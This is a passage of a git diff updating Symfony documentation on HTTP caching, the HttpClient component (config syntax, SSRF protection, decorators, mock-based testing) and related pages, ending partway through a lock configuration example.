 The embedded action can now specify its own caching rules entirely independently
-of the master page::
+of the main page::
 
     // src/Controller/NewsController.php
     namespace App\Controller;
@@ -171,9 +174,8 @@ of the master page::
     {
         public function latest($maxPerPage)
         {
-            // ...
-            $response->setPublic();
-            $response->setMaxAge(60);
+            // sets to public and adds some expiration
+            $response->setSharedMaxAge(60);
 
             return $response;
         }
@@ -225,10 +227,14 @@ that must be enabled in your configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => ['path' => '/_fragment'],
-        ]);
+            $framework->fragments()
+                ->path('/_fragment')
+            ;
+        };
 
 One great advantage of the ESI renderer is that you can make your application
 as dynamic as needed and at the same time, hit the application as little as
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index d30893b58fe..ae436e631ee 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -34,7 +34,7 @@ additional directives):
 
 .. code-block:: text
 
-    Cache-Control: public, maxage=600
+    Cache-Control: public, max-age=600
 
 .. note::
 
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 94bab702db4..82654222f17 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -76,9 +76,13 @@ First, to use SSI, be sure to enable it in your application configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'ssi' => ['enabled' => true],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->ssi()
+                ->enabled(true)
+            ;
+        };
 
 Suppose you have a page with private content like a Profile page and you want
 to cache a static GDPR content block. With SSI, you can add some expiration
@@ -86,7 +90,7 @@ on this block and keep the page private::
 
     // src/Controller/ProfileController.php
     namespace App\Controller;
-    
+
     // ...
     class ProfileController extends AbstractController
     {
@@ -126,7 +130,7 @@ The ``render_ssi`` twig helper will generate something like:
 
     <!--#include virtual="/_fragment?_hash=abcdef1234&_path=_controller=App\Controller\ProfileController::gdpr" -->
 
-``render_ssi`` ensures that SSI directive are generated only if the request
+``render_ssi`` ensures that SSI directive is generated only if the request
 has the header requirement like ``Surrogate-Capability: device="SSI/1.0"``
 (normally given by the web server).
 Otherwise it will embed directly the sub-response.
diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index 3a1dabf902e..599d0883b52 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -106,7 +106,7 @@ doing so much work.
 
 .. tip::
 
-    Symfony also supports weak ``ETag``s by passing ``true`` as the second
+    Symfony also supports weak ``ETag`` s by passing ``true`` as the second
     argument to the
     :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag` method.
 
diff --git a/http_client.rst b/http_client.rst
index 2fb102a0fcc..43109959e35 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -116,20 +116,21 @@ You can configure the global options using the ``default_options`` option:
             <framework:config>
                 <framework:http-client>
                     <framework:default-options max-redirects="7"/>
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'default_options' => [
-                    'max_redirects' => 7,
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->maxRedirects(7)
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -137,6 +138,18 @@ You can configure the global options using the ``default_options`` option:
              'max_redirects' => 7,
         ]);
 
+You can also use the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions`
+method to retrieve a new instance of the client with new default options::
+
+    $this->client = $client->withOptions([
+        'base_uri' => 'https://...',
+        'headers' => ['header-name' => 'header-value']
+    ]);
+
+.. versionadded:: 5.3
+
+    The ``withOptions()`` method was introduced in Symfony 5.3.
+
 Some options are described in this guide:
 
 * `Authentication`_
@@ -176,19 +189,21 @@ The HTTP client also has one configuration option called
             <framework:config>
                 <framework:http-client max-host-connections="10">
                     <!-- ... -->
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'max_host_connections' => 10,
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->maxHostConnections(10)
                 // ...
-            ],
-        ]);
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -212,7 +227,7 @@ autoconfigure the HTTP client based on the requested URL:
             http_client:
                 scoped_clients:
                     # only requests matching scope will use these options
-                    github:
+                    github.client:
                         scope: 'https://api\.github\.com'
                         headers:
                             Accept: 'application/vnd.github.v3+json'
@@ -221,7 +236,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     # using base_uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                     # will default to these options
-                    github:
+                    github.client:
                         base_uri: 'https://api.github.com'
                         headers:
                             Accept: 'application/vnd.github.v3+json'
@@ -242,7 +257,7 @@ autoconfigure the HTTP client based on the requested URL:
             <framework:config>
                 <framework:http-client>
                     <!-- only requests matching scope will use these options -->
-                    <framework:scoped-client name="github"
+                    <framework:scoped-client name="github.client"
                         scope="https://api\.github\.com"
                     >
                         <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
@@ -251,7 +266,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     <!-- using base-uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                          will default to these options -->
-                    <framework:scoped-client name="github"
+                    <framework:scoped-client name="github.client"
                         base-uri="https://api.github.com"
                     >
                         <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
@@ -264,32 +279,26 @@ autoconfigure the HTTP client based on the requested URL:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    // only requests matching scope will use these options
-                    'github' => [
-                        'scope' => 'https://api\.github\.com',
-                        'headers' => [
-                            'Accept' => 'application/vnd.github.v3+json',
-                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
-                        ],
-                        // ...
-                    ],
-
-                    // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
-                    // will default to these options
-                    'github' => [
-                        'base_uri' => 'https://api.github.com',
-                        'headers' => [
-                            'Accept' => 'application/vnd.github.v3+json',
-                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
-                        ],
-                        // ...
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // only requests matching scope will use these options
+            $framework->httpClient()->scopedClient('github.client')
+                ->scope('https://api\.github\.com')
+                ->header('Accept', 'application/vnd.github.v3+json')
+                ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%')
+                // ...
+            ;
+
+            // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
+            // will default to these options
+            $framework->httpClient()->scopedClient('github.client')
+                ->baseUri('https://api.github.com')
+                ->header('Accept', 'application/vnd.github.v3+json')
+                ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%')
+                // ...
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -326,10 +335,16 @@ Each client has a unique service named after its configuration.
 
 Each scoped client also defines a corresponding named autowiring alias.
 If you use for example
-``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
-as the type and name of an argument, autowiring will inject the ``my_api.client``
+``Symfony\Contracts\HttpClient\HttpClientInterface $githubClient``
+as the type and name of an argument, autowiring will inject the ``github.client``
 service into your autowired classes.
 
+.. note::
+
+    Read the :ref:`base_uri option docs <reference-http-client-base-uri>` to
+    learn the rules applied when merging relative URIs into the base URI of the
+    scoped client.
+
 Making Requests
 ---------------
 
@@ -419,31 +434,28 @@ each request (which overrides any global authentication):
                         auth-bearer="the-bearer-token"
                         auth-ntlm="the-username:the-password"
                     />
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    'example_api' => [
-                        'base_uri' => 'https://example.com/',
+        use Symfony\Config\FrameworkConfig;
 
-                        // HTTP Basic authentication
-                        'auth_basic' => 'the-username:the-password',
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()->scopedClient('example_api')
+                ->baseUri('https://example.com/')
+                // HTTP Basic authentication
+                ->authBasic('the-username:the-password')
 
-                        // HTTP Bearer authentication (also called token authentication)
-                        'auth_bearer' => 'the-bearer-token',
+                // HTTP Bearer authentication (also called token authentication)
+                ->authBearer('the-bearer-token')
 
-                        // Microsoft NTLM authentication
-                        'auth_ntlm' => 'the-username:the-password',
-                    ],
-                ],
-            ],
-        ]);
+                // Microsoft NTLM authentication
+                ->authNtlm('the-username:the-password')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -495,8 +507,7 @@ associative array via the ``query`` option, that will be merged with the URL::
 Headers
 ~~~~~~~
 
-Use the ``headers`` option to define both the default headers added to all
-requests and the specific headers for each request:
+Use the ``headers`` option to define the default headers added to all requests:
 
 .. configuration-block::
 
@@ -505,8 +516,9 @@ requests and the specific headers for each request:
         # config/packages/framework.yaml
         framework:
             http_client:
-                headers:
-                    'User-Agent': 'My Fancy App'
+                default_options:
+                    headers:
+                        'User-Agent': 'My Fancy App'
 
     .. code-block:: xml
 
@@ -521,21 +533,24 @@ requests and the specific headers for each request:
 
             <framework:config>
                 <framework:http-client>
-                    <framework:header name="User-Agent">My Fancy App</framework:header>
-                </framework-http-client>
+                    <framework:default-options>
+                        <framework:header name="User-Agent">My Fancy App</framework:header>
+                    </framework:default-options>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'headers' => [
-                    'User-Agent' => 'My Fancy App',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->header('User-Agent', 'My Fancy App')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -546,7 +561,7 @@ requests and the specific headers for each request:
             ],
         ]);
 
-.. code-block:: php
+You can also set new headers or override the default ones for specific requests::
 
     // this header is only included in this request and overrides the value
     // of the same header if defined globally by the HTTP client
@@ -757,6 +772,48 @@ called when new data is uploaded or downloaded and at least once per second::
 Any exceptions thrown from the callback will be wrapped in an instance of
 ``TransportExceptionInterface`` and will abort the request.
 
+HTTPS Certificates
+~~~~~~~~~~~~~~~~~~
+
+HttpClient uses the system's certificate store to validate SSL certificates
+(while browsers use their own stores). When using self-signed certificates
+during development, it's recommended to create your own certificate authority
+(CA) and add it to your system's store.
+
+Alternatively, you can also disable ``verify_host`` and ``verify_peer`` (see
+:ref:`http_client config reference <reference-http-client>`), but this is not
+recommended in production.
+
+SSRF (Server-side request forgery) Handling
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The SSRF protection was introduced in Symfony 5.1.
+
+`SSRF`_ allows an attacker to induce the backend application to make HTTP
+requests to an arbitrary domain. These attacks can also target the internal
+hosts and IPs of the attacked server.
+
+If you use an ``HttpClient`` together with user-provided URIs, it is probably a
+good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will
+ensure local networks are made inaccessible to the HTTP client::
+
+    use Symfony\Component\HttpClient\HttpClient;
+    use Symfony\Component\HttpClient\NoPrivateNetworkHttpClient;
+
+    $client = new NoPrivateNetworkHttpClient(HttpClient::create());
+    // nothing changes when requesting public networks
+    $client->request('GET', 'https://example.com/');
+
+    // however, all requests to private networks are now blocked by default
+    $client->request('GET', 'http://localhost/');
+
+    // the second optional argument defines the networks to block
+    // in this example, requests from 104.26.14.0 to 104.26.15.255 will result in an exception
+    // but all the other requests, including other internal networks, will be allowed
+    $client = new NoPrivateNetworkHttpClient(HttpClient::create(), ['104.26.14.0/23']);
+
 Performance
 -----------
 
@@ -813,9 +870,9 @@ Add an ``extra.curl`` option in your configuration to pass those extra options::
         // ...
         'extra' => [
             'curl' => [
-                CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6
-            ]
-        ]
+                CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6,
+            ],
+        ],
     ]);
 
 .. note::
@@ -848,7 +905,8 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
         # config/packages/framework.yaml
         framework:
             http_client:
-                http_version: '2.0'
+                default_options:
+                    http_version: '2.0'
 
     .. code-block:: xml
 
@@ -862,18 +920,23 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:http-client http-version="2.0"/>
+                <framework:http-client>
+                    <framework:default-options http-version="2.0"/>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'http_version' => '2.0',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->httpVersion('2.0')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -916,6 +979,8 @@ following methods::
 
     // you can get individual info too
     $startTime = $response->getInfo('start_time');
+    // e.g. this returns the final response URL (resolving redirections if needed)
+    $url = $response->getInfo('url');
 
     // returns detailed logs about the requests and responses of the HTTP transaction
     $httpLogs = $response->getInfo('debug');
@@ -964,7 +1029,7 @@ To abort a request (e.g. because it didn't complete in due time, or you want to
 fetch only the first bytes of the response, etc.), you can either use the
 ``cancel()`` method of ``ResponseInterface``::
 
-    $response->cancel()
+    $response->cancel();
 
 Or throw an exception from a progress callback::
 
@@ -985,21 +1050,32 @@ In case the response was canceled using ``$response->cancel()``,
 Handling Exceptions
 ~~~~~~~~~~~~~~~~~~~
 
+There are three types of exceptions, all of which implement the
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\ExceptionInterface`:
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`
+  are thrown when your code does not handle the status codes in the 300-599 range.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
+  are thrown when a lower level issue occurs.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface`
+  are thrown when a content-type cannot be decoded to the expected representation.
+
 When the HTTP status code of the response is in the 300-599 range (i.e. 3xx,
-4xx or 5xx) your code is expected to handle it. If you don't do that, the
-``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, all of
-which implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
+4xx or 5xx), the ``getHeaders()``, ``getContent()`` and ``toArray()`` methods
+throw an appropriate exception, all of which implement the
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`.
 
-    // the response of this request will be a 403 HTTP error
-    $response = $client->request('GET', 'https://httpbin.org/status/403');
+To opt-out from this exception and deal with 300-599 status codes on your own,
+pass ``false`` as the optional argument to every call of those methods,
+e.g. ``$response->getHeaders(false);``.
 
-    // this code results in a Symfony\Component\HttpClient\Exception\ClientException
-    // because it doesn't check the status code of the response
-    $content = $response->getContent();
+If you do not call any of these 3 methods at all, the exception will still be thrown
+when the ``$response`` object is destructed.
 
-    // pass FALSE as the optional argument to not throw an exception and return
-    // instead the original response content (even if it's an error message)
-    $content = $response->getContent(false);
+Calling ``$response->getStatusCode()`` is enough to disable this behavior
+(but then don't miss checking the status code yourself).
 
 While responses are lazy, their destructor will always wait for headers to come
 back. This means that the following request *will* complete; and if e.g. a 404
@@ -1026,19 +1102,9 @@ responses in an array::
 This behavior provided at destruction-time is part of the fail-safe design of the
 component. No errors will be unnoticed: if you don't write the code to handle
 errors, exceptions will notify you when needed. On the other hand, if you write
-the error-handling code, you will opt-out from these fallback mechanisms as the
-destructor won't have anything remaining to do.
-
-There are three types of exceptions:
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`
-  are thrown when your code does not handle the status codes in the 300-599 range.
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
-  are thrown when a lower level issue occurs.
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface`
-  are thrown when a content-type cannot be decoded to the expected representation.
+the error-handling code (by calling ``$response->getStatusCode()``), you will
+opt-out from these fallback mechanisms as the destructor won't have anything
+remaining to do.
 
 Concurrent Requests
 -------------------
@@ -1064,6 +1130,13 @@ first and be read later on. This will allow the client to monitor all pending
 requests while your code waits for a specific one, as done in each iteration of
 the above "foreach" loop.
 
+.. note::
+
+    The maximum number of concurrent requests that you can perform depends on
+    the resources of your machine (e.g. your operating system may limit the
+    number of simultaneous reads of the file that stores the certificates
+    file). Make your requests in batches to avoid these issues.
+
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1238,6 +1311,7 @@ server-sent events. Use the :class:`Symfony\\Component\\HttpClient\\EventSourceH
 to wrap your HTTP client, open a connection to a server that responds with a
 ``text/event-stream`` content type and consume the stream as follows::
 
+    use Symfony\Component\HttpClient\Chunk\ServerSentEvent;
     use Symfony\Component\HttpClient\EventSourceHttpClient;
 
     // the second optional argument is the reconnection time in seconds (default = 10)
@@ -1480,12 +1554,131 @@ This allows using them where native PHP streams are needed::
     // later on if you need to, you can access the response from the stream
     $response = stream_get_meta_data($streamResource)['wrapper_data']->getResponse();
 
-Testing HTTP Clients and Responses
-----------------------------------
+Extensibility
+-------------
+
+If you want to extend the behavior of a base HTTP client, you can use
+:doc:`service decoration </service_container/service_decoration>`::
+
+    class MyExtendedHttpClient implements HttpClientInterface
+    {
+        private $decoratedClient;
+
+        public function __construct(HttpClientInterface $decoratedClient = null)
+        {
+            $this->decoratedClient = $decoratedClient ?? HttpClient::create();
+        }
+
+        public function request(string $method, string $url, array $options = []): ResponseInterface
+        {
+            // process and/or change the $method, $url and/or $options as needed
+            $response = $this->decoratedClient->request($method, $url, $options);
+
+            // if you call here any method on $response, the HTTP request
+            // won't be async; see below for a better way
+
+            return $response;
+        }
+
+        public function stream($responses, float $timeout = null): ResponseStreamInterface
+        {
+            return $this->decoratedClient->stream($responses, $timeout);
+        }
+    }
+
+A decorator like this one is useful in cases where processing the requests'
+arguments is enough. By decorating the ``on_progress`` option, you can
+even implement basic monitoring of the response. However, since calling
+responses' methods forces synchronous operations, doing so inside ``request()``
+will break async.
+
+The solution is to also decorate the response object itself.
+:class:`Symfony\\Component\\HttpClient\\TraceableHttpClient` and
+:class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
+examples as a starting point.
+
+.. versionadded:: 5.2
+
+    ``AsyncDecoratorTrait`` was introduced in Symfony 5.2.
+
+In order to help writing more advanced response processors, the component provides
+an :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait`. This trait allows
+processing the stream of chunks as they come back from the network::
+
+    class MyExtendedHttpClient implements HttpClientInterface
+    {
+        use AsyncDecoratorTrait;
+
+        public function request(string $method, string $url, array $options = []): ResponseInterface
+        {
+            // process and/or change the $method, $url and/or $options as needed
+
+            $passthru = function (ChunkInterface $chunk, AsyncContext $context) {
+                // do what you want with chunks, e.g. split them
+                // in smaller chunks, group them, skip some, etc.
+
+                yield $chunk;
+            };
+
+            return new AsyncResponse($this->client, $method, $url, $options, $passthru);
+        }
+    }
+
+Because the trait already implements a constructor and the ``stream()`` method,
+you don't need to add them. The ``request()`` method should still be defined;
+it shall return an
+:class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`.
+
+The custom processing of chunks should happen in ``$passthru``: this generator
+is where you need to write your logic. It will be called for each chunk yielded
+by the underlying client. A ``$passthru`` that does nothing would just ``yield
+$chunk;``. You could also yield a modified chunk, split the chunk into many
+ones by yielding several times, or even skip a chunk altogether by issuing a
+``return;`` instead of yielding.
+
+In order to control the stream, the chunk passthru receives an
+:class:`Symfony\\Component\\HttpClient\\Response\\AsyncContext` as second
+argument. This context object has methods to read the current state of the
+response. It also allows altering the response stream with methods to create
+new chunks of content, pause the stream, cancel the stream, change the info of
+the response, replace the current request by another one or change the chunk
+passthru itself.
+
+Checking the test cases implemented in
+:class:`Symfony\\Component\\HttpClient\\Tests\\AsyncDecoratorTraitTest`
+might be a good start to get various working examples for a better understanding.
+Here are the use cases that it simulates:
+
+* retry a failed request;
+* send a preflight request, e.g. for authentication needs;
+* issue subrequests and include their content in the main response's body.
+
+The logic in :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`
+has many safety checks that will throw a ``LogicException`` if the chunk
+passthru doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()``
+one, or if a content chunk is yielded before an ``isFirst()`` one, etc.
+
+Testing
+-------
 
 This component includes the ``MockHttpClient`` and ``MockResponse`` classes to
-use them in tests that need an HTTP client which doesn't make actual HTTP
-requests.
+use in tests that shouldn't make actual HTTP requests. Such tests can be
+useful, as they will run faster and produce consistent results, since they're
+not dependent on an external service. By not making actual HTTP requests there
+is no need to worry about the service being online or the request changing
+state, for example deleting a resource.
+
+``MockHttpClient`` implements the ``HttpClientInterface``, just like any actual
+HTTP client in this component. When you type-hint with ``HttpClientInterface``
+your code will accept the real client outside tests, while replacing it with
+``MockHttpClient`` in the test.
+
+When the ``request`` method is used on ``MockHttpClient``, it will respond with
+the supplied ``MockResponse``. There are a few ways to use it, as described
+below.
+
+HTTP Client and Responses
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The first way of using ``MockHttpClient`` is to pass a list of responses to its
 constructor. These will be yielded in order when requests are made::
@@ -1516,6 +1709,19 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
+If you need to test responses with HTTP status codes different than 200,
+define the ``http_code`` option::
+
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    $client = new MockHttpClient([
+        new MockResponse('...', ['http_code' => 500]),
+        new MockResponse('...', ['http_code' => 404]),
+    ]);
+
+    $response = $client->request('...');
+
 The responses provided to the mock client don't have to be instances of
 ``MockResponse``. Any class implementing ``ResponseInterface`` will work (e.g.
 ``$this->createMock(ResponseInterface::class)``).
@@ -1601,11 +1807,126 @@ Then configure Symfony to use your callback:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'mock_response_factory' => MockClientCallback::class,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->mockResponseFactory(MockClientCallback::class)
+            ;
+        };
+
+Testing Request Data
+~~~~~~~~~~~~~~~~~~~~
+
+The ``MockResponse`` class comes with some helper methods to test the request:
+
+* ``getRequestMethod()`` - returns the HTTP method;
+* ``getRequestUrl()`` - returns the URL the request would be sent to;
+* ``getRequestOptions()`` - returns an array containing other information about
+  the request such as headers, query parameters, body content etc.
+
+Usage example::
+
+    $mockResponse = new MockResponse('', ['http_code' => 204]);
+    $httpClient = new MockHttpClient($mockResponse, 'https://example.com');
+
+    $response = $httpClient->request('DELETE', 'api/article/1337', [
+        'headers' => [
+            'Accept: */*',
+            'Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l',
+        ],
+    ]);
+
+    $mockResponse->getRequestMethod();
+    // returns "DELETE"
+
+    $mockResponse->getRequestUrl();
+    // returns "https://example.com/api/article/1337"
+
+    $mockResponse->getRequestOptions()['headers'];
+    // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
+
+Full Example
+~~~~~~~~~~~~
+
+The following standalone example demonstrates a way to use the HTTP client and
+test it in a real application::
+
+    // ExternalArticleService.php
+    use Symfony\Contracts\HttpClient\HttpClientInterface;
+
+    final class ExternalArticleService
+    {
+        private HttpClientInterface $httpClient;
+
+        public function __construct(HttpClientInterface $httpClient)
+        {
+            $this->httpClient = $httpClient;
+        }
+
+        public function createArticle(array $requestData): array
+        {
+            $requestJson = json_encode($requestData, JSON_THROW_ON_ERROR);
+
+            $response = $this->httpClient->request('POST', 'api/article', [
+                'headers' => [
+                    'Content-Type: application/json',
+                    'Accept: application/json',
+                ],
+                'body' => $requestJson,
+            ]);
+
+            if (201 !== $response->getStatusCode()) {
+                throw new Exception('Response status code is different than expected.');
+            }
+
+            // ... other checks
+
+            $responseJson = $response->getContent();
+            $responseData = json_decode($responseJson, true, 512, JSON_THROW_ON_ERROR);
+
+            return $responseData;
+        }
+    }
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        public function testSubmitData(): void
+        {
+            // Arrange
+            $requestData = ['title' => 'Testing with Symfony HTTP Client'];
+            $expectedRequestData = json_encode($requestData, JSON_THROW_ON_ERROR);
+
+            $expectedResponseData = ['id' => 12345];
+            $mockResponseJson = json_encode($expectedResponseData, JSON_THROW_ON_ERROR);
+            $mockResponse = new MockResponse($mockResponseJson, [
+                'http_code' => 201,
+                'response_headers' => ['Content-Type: application/json'],
+            ]);
+
+            $httpClient = new MockHttpClient($mockResponse, 'https://example.com');
+            $service = new ExternalArticleService($httpClient);
+
+            // Act
+            $responseData = $service->createArticle($requestData);
+
+            // Assert
+            self::assertSame('POST', $mockResponse->getRequestMethod());
+            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
+            self::assertContains(
+                'Content-Type: application/json',
+                $mockResponse->getRequestOptions()['headers']
+            );
+            self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
+
+            self::assertSame($responseData, $expectedResponseData);
+        }
+    }
 
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
@@ -1616,5 +1937,6 @@ Then configure Symfony to use your callback:
 .. _`amphp/http-client`: https://packagist.org/packages/amphp/http-client
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
-.. _`EventSource`:  https://www.w3.org/TR/eventsource/#eventsource
-.. _`idempotent method`:  https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
+.. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
+.. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
+.. _`SSRF`: https://portswigger.net/web-security/ssrf
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 40a421f85dd..3d7ea851bb7 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -528,7 +528,7 @@ The Sample Application in Symfony
 
 The blog has come a *long* way, but it still contains a lot of code for such
 a basic application. Along the way, you've made a basic routing system and
-a method using ``ob_start()`` and ``ob_get_clean()`` to render templates.
+a function using ``ob_start()`` and ``ob_get_clean()`` to render templates.
 If, for some reason, you needed to continue building this "framework" from
 scratch, you could at least use Symfony's standalone :doc:`Routing </routing>`
 component and :doc:`Twig </templates>`, which already solve these problems.
@@ -540,24 +540,21 @@ them for you. Here's the same sample application, now built in Symfony::
     namespace App\Controller;
 
     use App\Entity\Post;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     class BlogController extends AbstractController
     {
-        public function list()
+        public function list(ManagerRegistry $doctrine)
         {
-            $posts = $this->getDoctrine()
-                ->getRepository(Post::class)
-                ->findAll();
+            $posts = $doctrine->getRepository(Post::class)->findAll();
 
             return $this->render('blog/list.html.twig', ['posts' => $posts]);
         }
 
-        public function show($id)
+        public function show(ManagerRegistry $doctrine, $id)
         {
-            $post = $this->getDoctrine()
-                ->getRepository(Post::class)
-                ->find($id);
+            $post = $doctrine->getRepository(Post::class)->find($id);
 
             if (!$post) {
                 // cause the 404 page not found to be displayed
@@ -580,7 +577,7 @@ and uses Twig:
 
 .. code-block:: html+twig
 
-    <!-- templates/blog/list.html.twig -->
+    {# templates/blog/list.html.twig #}
     {% extends 'base.html.twig' %}
 
     {% block title %}List of Posts{% endblock %}
@@ -609,10 +606,10 @@ The ``layout.php`` file is nearly identical:
             <meta charset="UTF-8">
             <title>{% block title %}Welcome!{% endblock %}</title>
             {% block stylesheets %}{% endblock %}
+            {% block javascripts %}{% endblock %}
         </head>
         <body>
             {% block body %}{% endblock %}
-            {% block javascripts %}{% endblock %}
         </body>
     </html>
 
diff --git a/lock.rst b/lock.rst
index 92fa69cc526..207d4f93d4f 100644
--- a/lock.rst
+++ b/lock.rst
@@ -129,32 +129,33 @@ this behavior by using the ``lock`` key like:
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => null,
-            'lock' => 'flock',
-            'lock' => 'flock:///path/to/file',
-            'lock' => 'semaphore',
-            'lock' => 'memcached://m1.docker',
-            'lock' => ['memcached://m1.docker', 'memcached://m2.docker'],
-            'lock' => 'redis://r1.docker',
